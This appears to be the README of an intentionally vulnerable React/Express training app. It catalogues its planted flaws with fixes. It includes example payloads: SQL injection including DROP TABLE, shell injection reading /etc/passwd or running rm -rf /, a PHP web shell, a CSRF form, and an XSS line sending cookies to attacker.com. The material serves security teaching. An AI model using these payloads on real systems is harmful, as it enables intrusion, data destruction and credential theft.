This is a deliberately vulnerable React application with a Node.js/Express backend designed to help developers learn about common web application security vulnerabilities and how to identify and fix them.
-
Install dependencies:
npm install
-
Start the backend server:
npm run server
-
In a new terminal, start the React development server:
npm start
-
Access the application:
- Frontend: http://localhost:3000
- Backend API: http://localhost:3001
- Admin User:
admin/admin123 - Regular User:
user/password - Test User:
test/123456
Location: server/app.js - Multiple endpoints
Description: Direct string concatenation in SQL queries allows attackers to execute arbitrary SQL commands.
Examples:
- Login endpoint:
SELECT * FROM users WHERE username = '${username}' - Comments:
INSERT INTO comments... VALUES ('${content}') - Admin SQL console: Direct query execution
Exploitation:
-- In login username field:
admin' OR '1'='1' --
-- In comments:
'; DROP TABLE users; --Location: Multiple React components
Description: User input is rendered without sanitization using dangerouslySetInnerHTML.
Affected Components:
Comments.js- Comment contentUserProfile.js- Profile informationLogin.js- Error messagesDashboard.js- User welcome message
Exploitation:
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<svg onload="alert('XSS')">Location: server/app.js, Frontend components
Description: Multiple authentication vulnerabilities.
Issues:
- JWT secret hardcoded:
super-secret-key-123 - JWT tokens stored in localStorage (vulnerable to XSS)
- Passwords included in JWT payload
- Weak password hashing (1 salt round)
- No session invalidation
- Tokens sent in URL parameters
Location: Multiple components and API endpoints Description: Insufficient authorization checks.
Issues:
- Client-side role checking only (
user.role === 'admin') - No server-side authorization validation
- Direct object references without permission checks
- Admin functions accessible with manipulated user object
Location: server/app.js - /api/action and /api/execute endpoints
Description: User input executed directly in shell commands.
Exploitation:
# In action field:
test; cat /etc/passwd
# File execution:
filename.js; rm -rf /Location: FileUpload.js, server/app.js
Description: No file type, size, or content validation.
Issues:
- Accepts any file type (
accept="*/*") - User-controllable upload path
- No filename sanitization
- Arbitrary file execution endpoint
- Files served without authentication
Location: Multiple files Description: Sensitive information exposed in various ways.
Examples:
- Database credentials in
.envfile - API keys in environment variables
- JWT secrets exposed in API responses
- Full error stack traces
- System information in debug endpoints
Location: Configuration files, server/app.js
Description: Insecure default configurations.
Issues:
- CORS allows all origins (
origin: '*') - Debug mode enabled in production
- No request rate limiting
- Insecure session configuration
- ESLint security rules disabled
Location: Throughout application Description: Poor security event logging.
Issues:
- Sensitive data logged to console
- No failed login attempt tracking
- No suspicious activity alerts
- Detailed error messages expose system info
Location: All forms and API endpoints Description: No CSRF protection mechanisms.
Affected:
- Login forms
- Comment submission
- Profile updates
- Admin actions
Location: server/app.js, Frontend storage
Description: Weak encryption and storage practices.
Issues:
- Weak bcrypt salt rounds (1)
- Sensitive data in localStorage
- Weak random number generation for session IDs
- No encryption for sensitive database fields
Location: package.json
Description: Outdated dependencies with known security issues.
Examples:
- React 17.0.2 (older version)
- Various npm packages with potential vulnerabilities
Location: All user input fields Description: Lack of proper input validation and sanitization.
Issues:
- No email validation
- No URL validation
- No file content validation
- No input length limits
Location: Multiple endpoints and components Description: Unnecessary information exposure.
Examples:
- User IDs exposed in frontend
- Database structure revealed in errors
- Server technology stack exposed
- Internal API endpoints listed
Location: server/app.js
Description: No security headers implemented.
Missing Headers:
- Content-Security-Policy
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security
Location: No password requirements Description: No enforcement of strong passwords.
Location: Login endpoint Description: No protection against brute force attacks.
# Test login SQL injection
curl -X POST http://localhost:3001/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin'\'' OR '\''1'\''='\''1'\'' --", "password": "anything"}'<!-- Test in comment field -->
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script># Upload a malicious file
echo '<?php system($_GET["cmd"]); ?>' > malicious.php
# Upload via the file upload interface<!-- Create a malicious page with auto-submitting form -->
<form action="http://localhost:3001/api/comments" method="POST" id="csrf">
<input name="content" value="<script>alert('CSRF Attack!')</script>">
<input name="userId" value="1">
</form>
<script>document.getElementById('csrf').submit();</script>- Fix SQL Injection: Use parameterized queries
- Sanitize XSS: Use proper encoding/escaping
- Secure Authentication: Strong JWT secrets, secure storage
- Implement Access Control: Server-side authorization
- Validate File Uploads: Type, size, content validation
- Add CSRF Protection: CSRF tokens
- Implement Security Headers: CSP, HSTS, etc.
- Input Validation: Comprehensive validation
- Error Handling: Generic error messages
- Rate Limiting: Prevent abuse
- Security Logging: Proper audit trails
- Password Policy: Strong password requirements
- Account Lockout: Brute force protection
- Regular Updates: Keep dependencies current
- Security Testing: Automated security scans
This application is created solely for educational purposes to demonstrate common web application vulnerabilities. The vulnerabilities are intentional and should never be implemented in production applications. The authors are not responsible for any misuse of this code.
If you find additional vulnerabilities or have suggestions for improvements, please open an issue or submit a pull request.
This project is licensed under the MIT License - see the LICENSE file for details.